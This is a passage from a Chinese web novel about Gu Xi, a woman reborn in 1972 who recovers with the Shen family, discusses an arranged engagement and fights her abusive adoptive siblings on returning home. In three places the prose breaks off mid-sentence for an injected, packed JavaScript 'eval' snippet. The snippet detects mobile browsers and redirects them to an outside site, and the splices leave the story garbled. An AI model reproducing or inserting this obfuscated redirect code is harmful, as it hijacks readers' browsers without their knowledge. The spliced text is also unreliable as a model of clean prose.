和她在顾家住的房间比,这个房间的面积不仅大,东西也多,从细节之处能看出这是一个女孩子的房间,是精心布置过的。 顾家人口不少,顾溪当年回到顾家时,顾家的房间已经住满人,不管挪出谁的房间给她都不好,便将二楼拐角的小书房收拾出来给她住。 沈家这边,沈重山的级别摆在那里,住的是二层小楼,还有一个院子。 他们并不和长辈一起住,家里的人口简单,只有沈重山、冯敏夫妻,沈明峥、沈明嵘兄弟,和做家务的王婶。 沈明峥在部队,一年到头都不回来一次,上次回来还是两年前。 沈家人少,房间也多,加上顾溪是女孩子,便将向阳的房间给她住,就算她平时不怎么来也留着。 当初冯敏打算收养顾溪时,就是拿她当女儿看待,这个房间也是那时候特地为她准备的。 顾溪没有赖床,换好衣服便下楼。 时间不早,沈重山夫妻早已经出门,家里只有王婶在。 厨房里正在熬药,屋里飘着一股浓郁的中药味,并不怎么好闻,这也是顾溪每次过来,都要闻到的味道。 “婶子,早。”顾溪问候。 王婶先是摸摸她的额头,高兴地道:“太好了,今天没烧起来,应该是好了。” 说着让她到餐桌坐下,将早餐端过来。 王婶知道顾溪生病这几天的胃口不好,便给她做了肉粥,粥熬出米油,混着新鲜的猪肉糜,肉糜与米粒混合在一起,浓稠鲜香,简单地洒点薄盐都是无比的美味。 “今天后勤那边送来了一只鸡,我给你煲鸡汤,要好好补身体。” 她一脸怜惜地看着顾溪苍白的脸,觉得比上次见时又瘦了点,下巴更尖了,好看是好看,但年轻女同志还是要丰润点才健康。 顾溪朝她笑,笑容恬静,看起来很乖:“谢谢婶子。” 王婶怜爱地摸摸她的脑袋,作长辈的就喜欢这种乖巧文静贴心的女孩子,白净漂亮,多看一眼都要心软。 当然,更多的还是这孩子确实是个好的,几年相处下来,渐渐地将她当成了自家孩子看待,而且以后她是要嫁到沈家的,可不就是自家的孩子嘛。 顾溪喝粥时,王婶坐在旁边,她也没闲着,正拿着一件衣服缝补。 顾溪认出这是沈明嵘的衣服,男孩子好动,成天疯跑,最废衣物,好好的衣服没穿多久就磨损裂开,时不时要缝补一番。 “婶子,明嵘呢?”顾溪询问。 “在老爷子那边呢,刚放假就过去了,说要去陪老爷子和老太太几天。”王婶笑呵呵的,“明嵘是个好孩子,嘴巴又甜,老太太喜欢他陪伴,要在那边多住几天。” 沈重山夫妻育有两子,当年生长子沈明峥时,冯敏伤了身体,原本以为不能再生,哪知道长子都大了,突然又怀孕,生下沈明嵘。 沈明嵘今年十岁,正是半大小子,平时十分活泼好动,有使不完的精力,每当放假时,和大院里的一群小伙子们到处疯玩,整天不着家。 沈重山夫妻俩都忙,没时间管教他,便丢到老爷子那边,由老人家管教一番,顺便陪陪老爷子夫妻俩。 吃完粥,喝了药,顾溪被王婶催着回房休息。 王婶和她说:“你姨让你这几天在这里好好休息,先别回去了,等你身体好了,她陪你一起回顾家。” 这意思两人都了然,肯定是要去顾家给她撑腰。 顾溪沉默了下,然后应下。 她确实也没急着回去。 顾溪这一天哪都没去,按时吃饭喝药,然后回房休息。 身体确实还很虚弱,很快就浑浑噩噩地睡过去,睡梦中,仿佛自己还是阿飘,被全世界拒绝,隔着无形的界限,在维度之外,默默地看着时光流逝,看着时境变迁,看着这个世界翻天覆地变化,看着国家腾飞…… 突然,她看到自己的尸体。 得知她死讯的冯敏当场晕厥过去,醒来后哭得肝肠寸断,可她明明在一旁,却没有人能看到自己,无法安慰伤心的冯姨…… 敲门声将她惊醒,顾溪猛地坐起身,呼吸急促,满头大汗。 冯敏推门进来,看到她惊悸的模样,吓了一跳,赶紧给她拍抚心口,唤着她的名字,嘴里唠念着:“摸摸毛、吓不着……” 顾溪紧绷的身体渐渐地放松下来。 看到她脸上的担心,勉强压下心口窒息般的悸怕,小声说:“冯姨,我没事。” “真的?”冯敏打量她,觉得这孩子身上好像发生什么变化,看起来很…… 在顾溪再三保证后,冯敏没再揪着,说道:“小王说你睡了一天,起来吃些东西再睡。” 顾溪应一声。 - 两人下楼,便见沈重山已经坐在餐桌前等她们。 在两人入坐后,王婶将做好的饭菜端出来,其中便有给顾溪熬的鸡汤,用砂锅文火熬了大半天,熬得骨酥肉烂,鸡汤金黄,十分鲜美。 冯敏叫她多喝点,将身体补回来。 吃过晚饭,冯敏拉着顾溪在客厅沙发坐下,和她聊天。 沈重山坐在一旁,拿着报纸看。 王婶端来药,说道:“还有几副药,这次溪溪就多住几天,将这些药喝完。” 顾溪其实不怎么喜欢喝中药,相信只要是味觉正常的人,应该没多少人能喜欢得起来。但这是冯敏特地找军区医院的老医生给她开的,为她调理身体,每次她来这边,都会给她熬几副中药。 不愿意辜负长辈的好意,顾溪屏着气一口灌完。 冯敏拿了块糖塞进她嘴里,看她腮帮子被糖块撑得鼓起一个小包,难得露出孩子气的一面,不由有些好笑。 沈重山看了一眼,见两人坐在一起说话,亲密得像母女似的,暗暗摇头。 他知道妻子一直想生个女儿,可惜当年长子出生时伤了身体,以为不能再生,哪知道会再怀孕,却生出个带把的。 不过妻子的年纪大了,就算她想生,他也不敢让她生。 冯敏拉着顾溪说话,问她暑假过得怎么样,然后又嗔怪她,放假都不过来看看他们。 “我是打算过几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171178|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来看你们的。”顾溪有些不好意思。 以前她不想总是过来打扰,就算和沈家有婚约,总跑未来婆家也不是事,每次她来沈家时,父母的神色不太好,顾远辉还会阴阳怪气地说她不知廉耻,还没嫁人呢就一心往婆家跑,是不是想男人之类的。 她也怕影响不好,会给沈家添麻烦,能不来就不来。 冯敏哪里不知道,肯定又是顾家人说了什么,懒得理会,转而问道:“你以后要多注意,身体是革命的本钱,别让自己病了,就算生病也不要乱跑,在家好好休息。” 想到她昨天发烧跑过来,难免生气。 人都烧成这样,顾家居然没一个人拦着她出门,也不知道是故意没看到,还是漠不关心。 顾溪乖巧地应下,小声地说:“只是想冯姨了……” 冯敏听得高兴,但更多还是担心她的身体,叮嘱道:“这几天你就在这里住着,让小王给你养养身体,过些日子我们再送你回去。” 顾溪呆了下,迟疑地看向坐在那边看报纸的沈重山,忙道:“不用不用,我自己回去……” 沈重山夫妻都是大忙人,有自己的工作,她不能总是麻烦他们。 “没事。”冯敏笑眯眯的,“咱们很久没登门了,正好有些事想和你爸妈聊聊。” 顾溪看她,知道这句“有些事想和你爸妈聊聊”很有问题,见沈重山不说话,便知道他是默许的。 又拉了会儿家常,冯敏想到什么,突然问:“溪溪,你高中已经毕业,接下来有什么想法?想读大学吗?我们这里有一个工农兵推荐大学的名额,可以推荐你去……” 顾远湘现在读的就是工农兵大学。 当时顾家正好有一个名额,而顾溪还在读高中,便给了顾远湘。 冯敏对顾溪是疼爱的,如果她想继续读书,那就让她读,以后她就是大学生,看谁还敢嘲笑她是乡下土妞。如果她不想,那也没事,给她安排个工作,正好让她从顾家搬出来,省得在顾家受委屈。 当然,如果这两样她都不选,还可以结婚,毕竟两个孩子的年纪也不小了…… 顾溪摇头:“冯姨,我暂时不想继续读书。” 虽然当了阿飘,但也让她看到这个国家的未来,知道高考会恢复。以后世的眼光来看,工农兵推荐上大学的含金量太低,很难学到东西,不如等高考恢复后再去考大学。 现在是七二年,只要再等五年就好,到时候她才二十五岁,这个年纪上大学也不算迟。 冯敏尊重她的想法,“那就先去找个工作,我给你留意一下。” 顾溪想说什么,看她脸上的笑意,将话咽下。 晚上睡觉时,冯敏和沈重山商量让长子沈明峥回来一趟。 沈重山问:“做什么?” “当然是商量他和溪溪的婚事。”冯敏嗔怪一声,“溪溪已经毕业,就算找着工作,如果她还留在京市,和顾家那群人抬头不高低头见,不如让他们结婚,让溪溪彻底脱离顾家,到时候她就是我的儿媳妇,看顾家还敢不敢欺负她!” 这年头,主流是嫁出去的女儿泼出去的水,娘家不好插手女儿的事。 甚至女儿回娘家,还要当客人敬着。 看冯敏一副护犊子的模样,沈重山哪里不明白她的意思。 不过长子的年纪确实不小了,顾溪也二十岁,到结婚的年纪。 “也行。”沈重山思索着,“明天我给儿子那边的部队打个电话,和他说一声。” 5. 第 5 章 第二天,沈重山亲自给沈明峥所在的部队打电话,却得知他出任务去了,不知道什么时候回来。 冯敏十分失望,只好作罢。 顾溪不知道这些,她在沈家休养了三天。 这三天仍是过得浑浑噩噩的,提不起力气,大半时间都在睡,仿佛将过去当阿飘的几十年无法入睡的时间都补回来。 沈家人不清楚,还以为她这次病得厉害,心里暗暗担心。 第三天时,沈明嵘回来了。 送他回来的是沈老爷子的警卫员,将人送到就离开了。 沈明嵘哒哒哒地走进来,见到坐在沙发上喝药的顾溪,双眼一亮,欢快地扑过来:“溪姐,你几时来的?早知道你在,我就回来了。” 虽然在爷爷家挺好的,但老爷子喜欢用部队练兵的法子操练家里的孩子,要求他们和军人一样作息,还要体能训练,对爱玩爱睡懒觉的小孩儿而言实在太痛苦。 不过奶奶很爱护他,会和爷爷吵架,还是有些安慰的。 家里还有堂哥带他疯玩,差点就乐不思蜀。 顾溪朝他微笑,伸手抱住扑过来的男孩。 十岁的男孩养得很壮实,天天跟着堂哥跑操,冲过来像个小炮弹,看得王婶一颗心都提起来。 幸好顾溪抱得很稳,没被他撞倒在地。 当年冯敏回乡探亲时,带着小儿子沈明嵘一起,五岁的男孩乍见母亲出事,被吓坏了,是顾溪全程陪着他,安慰他,对顾溪有一种依恋。 冯敏会生出想要收养顾溪的念头,也是沈明嵘先提起的,沈明嵘说想要个姐姐。 两人虽不是亲姐弟,感情好得像姐弟一样。 王婶将切好的水果端出来,看两人窝在沙发叽叽喳喳地说话,不免有些好笑。 说话的都是沈明嵘,顾溪负责倾听。 沈明嵘小小年纪就是个话唠,有时候唠叨得连亲妈都嫌他烦,只有顾溪从来不嫌弃,反而很爱听他说话。 “溪姐溪姐,我这次去爷爷家摸到好东西了,你猜是什么?”沈明嵘一脸兴奋,很有分享欲。 顾溪顺着他的话道:“我猜不着,你告诉我吧。” 果然男孩儿的倾诉欲得到满足,小嘴叭叭叭地说:“成哥和启哥带我去郊区的打靶基地,我摸到大家伙……” 顾溪惊讶,看他红扑扑的脸,有些理解。 男孩子对那些兵器本就有一种天然的喜爱,更不用说沈家这样的家庭,从小耳濡目染,会喜欢也正常。 “没伤着吧?”她担心地问,打量身边的男孩子。 “没呢。”沈明嵘撇嘴,“启哥和成哥只让我摸了几下,没给我上手,说要等我像他们这么大才给我碰。” 沈明嵘嘴里的启哥是沈明启,沈家长房的幼子,比沈明嵘大八岁。 另一个成哥和沈明启一样都是大院的孩子,父亲是旅政委,这些孩子从小一起长大,关系不一般。 两人正说着话,冯敏夫妻下班回来了。 沈明嵘看到亲妈,像只轻快的花蝴蝶扑过去,热情地给他妈一个拥抱,嘴甜地说:“妈,你最爱的小儿子回来啦,高不高兴?”然后又朝他爸甜甜地笑,“爸,你最爱的小儿子回来了。” 沈重山拧眉,一脸严肃:“站好,成何体统。” 至于“最爱的小儿子”什么的,当作没听到,无法理解这孩子为什么能将这种情啊爱啊的话挂在嘴上,太不正经了,也不知道从哪里学来的。 幸好也只在家人面前说,在外面时还是比较正经。 沈明嵘迅速站好,并敬了个军礼,看着似模似样的。 不过等沈重山转头,马上原形毕露,轻快地拉着他妈的手,叽叽喳喳地说个没完,整个屋子都是他的声音,听得冯敏脑壳疼,像是有好几只蜜蜂在耳边嗡嗡嗡地叫。 她拍了下儿子的小脑瓜,“行了行了,你别张嘴,安静点。” 沈明嵘被他妈嫌弃,顿时不高兴,哼了一声,跑去拉着顾溪说话。 顾溪笑着摸摸他的脑袋,然后去厨房帮忙王婶做饭,只是刚待一会儿,就被王婶撵出来。 “你的身体还没好呢,去歇着,别累着了。” 沈家人不多,王婶一个人完全能做好所有的饭菜,哪里需要她帮忙。 沈明嵘听到这话,仰起小脸看顾溪。 沈重山夫妻是标准的俊男美女,生出来的孩子也好看,十岁的沈明嵘已经是个小帅哥,大院里的女娃都喜欢找他玩。 他拧着小眉头说:“溪姐,你又生病了吗?” “呃……其实差不多好了。”顾溪强调,“只是意外。” 男孩儿小大人般地叹气,“那你要好好照顾自己,可别再生病,生病不好受,还要吃苦药。” 想到顾溪喝的那一碗碗黑漆漆的苦药汁,看她的眼神敬佩又怜悯。 溪姐能面不改色地灌下,简直就是女英雄。 吃饭时,沈明嵘的嘴巴依然没停歇,一边吃一边说在爷爷家做了什么,玩了什么,吃了什么,见了什么人…… 沈重山夫妻俩都不用特地问,就从小儿子这里得知他最近生活得怎么样。 吃过饭,一群人坐在沙发聊天。 突然,沈明嵘说:“妈,奶奶问我哥啥时候回来?” “怎么了?”冯敏顺嘴问一声,“你奶奶要找明峥?” 沈明嵘大声说:“是啊,奶奶说我哥老大不小,是该取娶媳妇了。溪姐已经毕业,是不是要和我哥结婚了?” 顾溪一口药呛住,咳得惊天动地。 冯敏赶紧给她拍背,瞪了小儿子一眼,让他别当着姑娘家的面说这种事,不是让人家害臊嘛。 年轻姑娘脸皮薄,就算提也不能这么直接。 沈明嵘被亲妈瞪得一脸茫然,挠了挠脑袋,然后看向亲爸。 沈重山竖起报纸,不想理这个不会看脸色的小儿子。 顾溪好不容易缓过来,赶紧将剩下的药喝完,便回房去了。 楼下,冯敏在教训小儿子,让他以后说话别那么直接,顾溪脸皮薄,不能这么当面问。 沈明嵘不解:“可溪姐和我哥不是有婚约嘛?迟早要结婚的!” 冯敏伸手指了指他,无奈地拍了拍自己的额头。 这就是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171179|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么更喜欢女孩子的原因,家里的两个儿子,大的那个和老沈同志一个德行,甚至作风比老沈更冷硬强势,从小就主意大,亲妈都要被他气死;小的这个嘴巴虽然甜,但心直口快,说话不会看场合,有时候能气得人心口疼。 沈明嵘不知道亲妈的无语,诚实地传达老太太的意思:“我奶说,大哥今年都二十七,是该考虑结婚的事,问你们有什么章程?溪姐这边又有什么想法,是要继续读书,还是结婚……”说到最后,他又道,“溪姐和我哥结婚也好,到时候就是我嫂子,是咱们家的人,不用再回顾家。” 这话说到冯敏的心坎里,她点头道:“我也是这么想的,只是你哥出任务去了,不知道什么时候回来。等他回来我再给他打个电话,让他回来结婚。” 沈明嵘握紧拳头,大义凛然地说:“我哥就是这样的人,他是坚定的共产主义战士,只要国家需要他,他就义不容辞,咱们要理解他!” 冯敏被他逗笑,朝他后脑勺拍了下。 ** 顾溪并不像冯敏想的那般羞涩,反而十分冷静。 回到房里,她也在想这事。 想起上辈子自己死后,沈明峥因她的死终身不娶,心里有些涩然。 当初定下这桩婚约时,沈重山夫妻都没有询问沈明峥的意愿,就这么定下了。 这五年,她和沈明峥只见过两次面。 一次是定下婚约那天,一次是两年前,每次沈明峥都是来去匆匆,在家没待一个晚上就离开。 要说他们有什么感情,那肯定不是。 沈家男人都是有责任和担当的,品性无可挑剔,也正是如此,沈明峥会为她的死愧疚,最后终身不娶,确实正常。 她的身体不好,也不知道自己这辈子还会不会早死,肯定不能再耽搁沈明峥,这桩婚约一开始就不应该存在。 其实当年如果被沈家收养,成为冯姨的义女也是挺好的,根本不需要牺牲沈明峥的婚事。 可惜就差那么点。 虽然心里纠结,不过因为沈明峥没回来,顾溪面上没显露什么。 喝了好几天的中药,觉得自己的身体好一些,便准备离开。 “你要回去?”冯敏满脸不赞成,“回去做什么?反正现在是暑假,不如留在这里,给明嵘补习功课,省得这小子成天疯玩。” 虽然恼顾家那群人偏心,想陪她回去给她撑腰,不过她更希望顾溪住在这边,远离那些人,过好自己的生活,好好调养身体。 顾溪想了想,“那我回去带点行李过来。”沈家这边虽然有换洗的衣物,但她平时只在这边住一两天,要是长住东西就不够了。 “行啊。”冯敏笑道,“明天我请假陪你回去。” “不用不用,我自己一个人就行。”顾溪赶紧拒绝。 见她坚持,冯敏只好作罢,说道:“那你回去收拾点东西就过来,改天休息,我带你去医院给医生看看。” 顾溪的身体不如正常人健康,容易生病,是因为从小没养好,需要好好调理。 顾溪迟疑了下,说道:“我想处理点事,过几天再来。” 6. 第 6 章 吃过早餐,顾溪准备出门。 沈明嵘像只小跟屁虫似的跟在她身后,一边问道:“溪姐、溪姐,要不要我陪你回去?” 顾溪转头看向身后的男孩儿,哪里不知道他的关心,故意道:“我回去有事,要回去住个几天呢,你要跟我一起?” “可以啊!”沈明嵘精神抖擞,握着小拳头,“我可以帮你打坏人。” 顾溪愣了下,说道:“不用,你还小呢,而且顾家也没有坏人。” 只是一些讨厌的陌生人罢了,既然是讨厌的陌生人,打了也没有负罪感。 沈明嵘一脸“你别骗我”的表情,他的年纪虽然小,但也不是傻子,哪里看不出顾家那些人对她的态度如何,根本没拿她当女儿和姐妹看,还嫌弃她以前在乡下待过丢他们的脸。 有时候他还会听到他妈和他爸叨念顾家人做事不地道,对她不好,听得他都想将溪姐留在自己家算了,省得她回顾家被欺负。 在他心里,溪姐身体不好,瘦瘦弱弱的,那些顾家人指不定仗着她脾气好,不知道怎么欺负她,需要他的保护。 全然不知顾溪这次过来做了什么,并不是他以为的被欺负的包子。 面对保护欲膨胀的男孩儿,顾溪有些想笑,十分窝心。 正是因为知道沈家人是真心爱护她、在意她,所以她并不在意顾家人的偏心和冷待,他们不喜欢她,但沈家人喜欢她,这就够了。 这世间之事没有十全十美,不能强求太多,这是她死后悟出来的道理。 摸了摸沈明嵘的脑袋,顾溪让他好好待在家,别和大院里的孩子打架,过几天她就过来。 “我才不会打架呢。”沈明嵘嘀咕一声,然后又怀疑地问,“你真的会过来?” 她每次都是隔好久才来一次,只住一晚就离开,不肯多住几天,让他十分失落。这次顾溪在家里住了好些天,是因为她生病之故,现在她病好了,估计又要走了。 明明他们都不在意她住多久,也希望她能住久一些,但她好像很担心会被人说闲话,对大家都不好。 让他说,她就是爱想太多。 顾溪保证道:“会来的,我还要给你补习功课呢。” 其实沈明嵘的功课很好,并不需要她补习,冯敏这么说,只是想让她没负担,也让沈明嵘别成天往外跑,和大院里的孩子打群架。 别看沈明嵘成天笑呵呵的,嘴甜又爱笑,像个小甜豆,骨子里仍有沈家人的血性,又是男孩子,多少有些好斗。 大院里的孩子有些出身差不多,很少会服人,有时候闹矛盾了,那就打一架解决,打架是常态。 沈明嵘皱起脸,但想到能让顾溪过来住,只好道:“那也行,到时候你教我数学吧。” 他觉得自己牺牲得实在太多了,等爸妈回来,要让他们给他多点零花钱才行。 ** 刚走出军区大院,便见一群骑着二八大杠自行车的年轻人呼啸着路过。 顾溪往旁边避了避。 哪知为首的年轻人突然停下,一条长腿点地,一双眼睛放肆地朝她看过来,目光在她脸上转了转。 其他人见他停下,也跟着停下,一副看热闹的表情。 看清楚顾溪的模样时,他们都哇的叫出声。 虽然大院里也不缺年轻漂亮的女同志,但长得这么漂亮文静的,还是极为少见的,明明只是简单的白衬衫和黑裤子,偏偏让她穿出不一样的感觉,站在那里,幽幽静静的,让人无法不在意。 这群年轻人大多都是没超过二十的少年人,这年纪的男生心思躁动,很少能抗拒漂亮出众的异性。 更不用说眼前的姑娘看着很乖,那种又乖又纯的感觉,能直击少年人的心,有几个脸都红了。 “咦,你是……沈明嵘他姐?” 为首的年轻人这话刚落,周围的人就心知肚明地笑起来。 淮哥居然知道人家是谁家的,不会是看上了吧? 有人道:“淮哥,你傻啦,沈明嵘哪里有姐,这是沈明嵘的嫂子,和那个沈明峥有婚约的。” 这话一出,众人心中一突,下意识地往后退了退,心生畏惧。 虽然都是大院子弟,但也是有区别的,撇开父辈的身份地位不谈,大院出身的沈明峥绝对是同辈中的佼佼者、别人家的孩子,纵使他少年时就去了部队,很少回来,大院里依然有很多关于他的传说。 在这群年轻人心里,沈明峥就像一座无法逾越的高山、只能仰望的存在。 他们虽然和沈明峥不是同龄的,但谁家没几个哥姐之类的,这些都是被同龄的沈明峥碾压着长大的,以前没少在弟妹面前嘀咕沈明峥,也让他们记在心里。 知道这是沈明峥的未婚妻,他们可不敢造次。 一群人讪讪地笑着,忙道:“淮哥,咱们不是有事嘛,赶紧走吧。” 生怕周淮岷对人家女同志做什么,众人纷纷附和,要知道周淮岷的爷爷也是老革命,和沈老爷子是战友,周家并不比沈家差。 其他人不敢招惹沈明峥,但周淮岷可没这顾虑。 周淮岷看这群人胆小的模样,不由啧了声,目光又在顾溪脸上停留片刻,懒洋洋地问道:“你要去哪?要不要我载你一程?” 他这话听着挺善解人意的,这大热天的在外行走,一路走来还不知道要晒成什么样。 看她纤瘦的模样,那张瓷白又漂亮的脸蛋,都让人担心会不会被晒晕过去。 顾溪平静地看他一眼,“谢谢,不用。” 说着她转身离开,没有多看一眼,神态自然,背脊挺直,没有年轻女孩子面对一群同龄异性时的局促感。 众人看她干脆利落地拒绝,都在心里喝了一声,觉得这姑娘不仅长漂亮,脾气也挺硬的,面对这么多人,不像那些年轻女孩子般害羞闪躲,反而很平静。 感觉就……挺特别,反差有些大。 他们又看向周淮岷,以为这周家的小霸王会恼,哪知道他一脸无所谓。 这是闹哪样? 周淮岷没理这群人,见人离开了,一副没劲的模样,也骑着自行车离开。 - 早上的公车人很多,顾溪选了个角落站着。 在沈家休息几天,她的身体好些了,虽然仍有些虚疲无力之感,却不会影响正常活动,而且她也习惯忍耐了,这点不适不算什么。 公车到站,顾溪随着人流下了车,往家属大院而去。 刚进家属大院,遇到几个买菜回来的大妈大婶,她们热情地和她打招呼。 有大婶问道:“是溪溪啊,最近怎么都不见你?听你爸妈说,你去舅舅家了,是吗?” 这些大妈大婶对顾溪的态度很亲切,其中不乏看戏的意味。 当初顾家暴出孩子抱错的事时,家属大院都轰动了,对顾溪这个在乡下被磋磨了十五年的孩子也挺同情的。 虽然同情孩子,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171180|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妨碍他们看戏,这年头的娱乐少,一点鸡毛蒜皮的事都能引来广泛的关注,更不用说抱错孩子这么稀奇的事。 顾溪回到顾家后,众人也热烈地讨论过一阵,对顾家抱错孩子的事评头论足,对比两个抱错的孩子,旁观顾家的鸡飞狗跳,吃饭都觉得比以往香。 那时候顾溪真是又黑又瘦又矮,完全一副乡下土妞的模样,和被娇养着长大的顾远湘对比惨烈,让人同情之余,觉得她确实比不上顾远湘,畏缩怯懦的模样,穿上布拉吉都觉得上不得台面。 哪知道女大十八变,不过养了几年,从乡下土妞变成大美女,甚至还读了书,上了高中,还是很争气的。 对于顾家接回亲生女儿,又留下养女的事情,众人也没少讨论。 他们能理解顾家舍不得养了十五年的孩子,想要留在身边,不过也有人觉得,顾家不应该留着顾远湘,应该让她回到亲生父母身边。 还有人觉得顾家糊涂,留着顾远湘在顾家,抬头不见低头见,那不是时刻提醒顾溪自己以前受的苦是代顾远湘受的吗?也不知道她有多难受。 同个家属院的,大家都是知根知底。 就算顾家明面上对两个抱错的孩子一视同仁,多少还是能看出些区别,顾家更偏爱养女顾远湘,亲生女儿顾溪回到顾家后,更多时候是被忽略的。 这些天,大伙儿没见到顾溪的身影,发现买菜做饭的人变成江惠君和顾远湘后,便明白顾溪可能不在家。 有人多嘴地问顾溪去哪里,顾家人都说她去舅舅家。 这话有人相信,更多的人不相信。 顾溪是半途回来的,和舅舅家那边根本不怎么往来,怎么会没事跑舅舅家去,估计又有什么事了吧。 这会儿见到顾溪,便有好事者询问。 顾溪心知这是顾家不喜她往沈家跑,所以直接说她是去舅舅家。 她也没反驳,乖巧地一一叫人,便回家了。 刚进家门,就见坐在客厅里听收音的顾远湘,还有一个和顾远湘玩得好的小姐妹陈芸笙,同样是家属院的。 见到顾溪回来,顾远湘呆了下,面色不太好地说:“溪溪,你怎么现在才回来?” 那天顾溪打了人就跑,大家都很生气,等着她回来好教训她。 哪知道她这一走就是好些天,不像以往,就算去沈家,也只是住一晚就回来,让他们等得十分不耐烦。 有些气是要当场发的,当场发不出来,会憋在心里,一直憋一直难受。 这气憋了几天,越憋越难受,顾远湘觉得自己的好脾气都要被磨没,这会儿看到顾溪回来,这口气腾的一声就冒出来。 顾溪没作声,看都没看一眼,转身走了。 她直接上楼,回到自己的房间,推开门进去,发现房间一片混乱,衣服、被子等被随意丢在地上,上面还能看到脚印。书桌上的书也洒了一地,被人撕了好几本,到处都是纸屑,架子也翻倒在地…… 显然是她不在,有人拿她的房间出气。 顾溪弯下腰,将地上散乱的书本一一捡起,就连纸屑她也好好地收着。 在她收拾时,一阵脚步声响起,伴随着顾远辉嚣张的声音:“顾溪,你给我出来,看我不打死你,居然敢打我……” 顾远辉刚回来,得知顾溪终于回家,怒气冲冲地冲进顾溪的房间,哪知道迎面一个东西砸过来,直接砸在他脸上。 他嗷的大叫,痛得捂着脸蹲在地上。 7. 第 7 章 看到顾溪无视她们,冷漠上楼,陈芸笙看向生气的顾远湘,有些尴尬。 今日她来顾家,是找顾远湘商量明天去百货大楼给她妈买生日礼物,哪知道顾溪突然回来。 陈芸笙是家属大院里的姑娘,她爸爸是后勤部的主任,妈妈是制衣厂的干事,家里的孩子不多,只有一个兄长,虽然是女孩子,但父母和兄长都很宠她,是被宠爱着长大的。 她和顾远湘从小认识,一块儿长大,是感情不错的小姐妹。 对于顾家的事,她自然也清楚,就算知道顾远湘不是顾家的女儿,她的态度仍是没有变,将她当好姐妹看待,两人平时玩在一块儿。 陈芸笙和顾溪不熟,不过心里多少还是有些同情顾溪被抱错的事。 这几天她也听人说顾溪不在家,哪知道今天居然碰到她,原本想和她打个招呼的,但人家都没看自己。 以前她来时,顾溪虽然话不多,人却是挺有礼貌的,不像今天这么冷漠。 她爸妈常说,别人家的事少去掺和。 察觉到顾家姐妹俩的情况不太对,她犹豫了下,到底没有问什么,见顾远湘生气的样子,想了想,说道:“远湘,我先走了,明天再来找你。” 顾远湘勉强笑了下,心里有些委屈,忍不住说:“芸笙,溪溪她……” “嗯?” 顾远湘将话咽下,心知如果她将顾溪打人的事说出来,就算陈芸笙不是那种大嘴巴的人,父母要是知道,肯定会生气。 - 陈芸笙离开后不久,顾远辉就回来了。 得知顾溪回来,他脸上的表情一变,满脸戾气,风风火火地朝楼上跑去。 顾远湘赶紧跟上,看顾远辉的神情就知道等会儿顾溪要倒霉,以前就是这样,每次顾远辉针对顾溪时,顾溪被作弄得十分狼狈。 心里有些纠结,不知道要不要劝一劝,万一万远辉做得太过分,父母也会生气…… 就这么纠结着,顾远湘没想到事情发展完全超出自己的预料。 顾远辉刚进门就被一本书砸到脸,那声脆响,一听就知道很疼,估计脸又要肿了。 上次顾远辉被顾溪打了一拳在脸上,这脸肿了好几天,让顾远辉都不敢出门见人,今天好不容易脸上的痕迹完全消了,哪知道又被书砸。 顾远湘很不满,她自诩文明人,就算再生气也不能动手打人啊。 她看向房间里的顾溪,正要说话,就见她手里拿着几本被撕得乱七八糟的书站在那里,冷冷地看过来。当她的目光瞄到房间里的狼藉时,不知怎么的,突然有些心虚。 这时,顾溪说:“我的房间是谁弄的?” 顾远湘没作声,顾远辉捂着脸蹲在地上,还没缓过来。 不过顾溪显然没耐心,只见她将手里的书放到桌上,朝他们走过来,一脚将门口蹲着的顾远辉踹到一旁,一双黑黝黝的眼睛直视顾远湘,冷声道:“说!” 顾远湘被镇住,身体绷直,结结巴巴地说:“是、是……” 是顾远辉做的,不过当时家里人都看着,没有一个人阻止,江惠君嘴上说了几句,便由着他了。毕竟顾远辉被她打了,人又不在跟前,没办法出气,那得让他发泄发泄,反正只是打砸房间,这也不算什么。 但不知怎么的,此时面对顾溪,她莫名有些害怕,说不出口。 顾溪的表情很沉静,是一种近乎冷漠的神色,仿佛他们是陌生人,而不是相处了五年的家人。 更不用说她刚才的举动,拿书砸顾远辉,又一脚将他踹倒在地。 她居然又动手打人!完全没拿顾远辉当弟弟看待。 突然,顾远湘看到顾溪身后的顾远辉一脸狰狞地跳起,朝她撞过来。 顾溪被他撞得往前扑倒,她及时扶住门框,稳住自己,转身就一巴掌打过去,顾远辉被她打飞在地,整个人晕晕乎乎的。 “远辉!”顾远湘吓得大叫。 顾溪过去扯起顾远辉,朝他挥起拳头。 她打得毫无章法,就像乡下的妇女打人,往肉多的地方打,再去扯两把头发,硬生生扯下了一大绺,打得顾远辉嗷嗷地叫着,眼泪鼻涕很快就出来了,哭得不行。 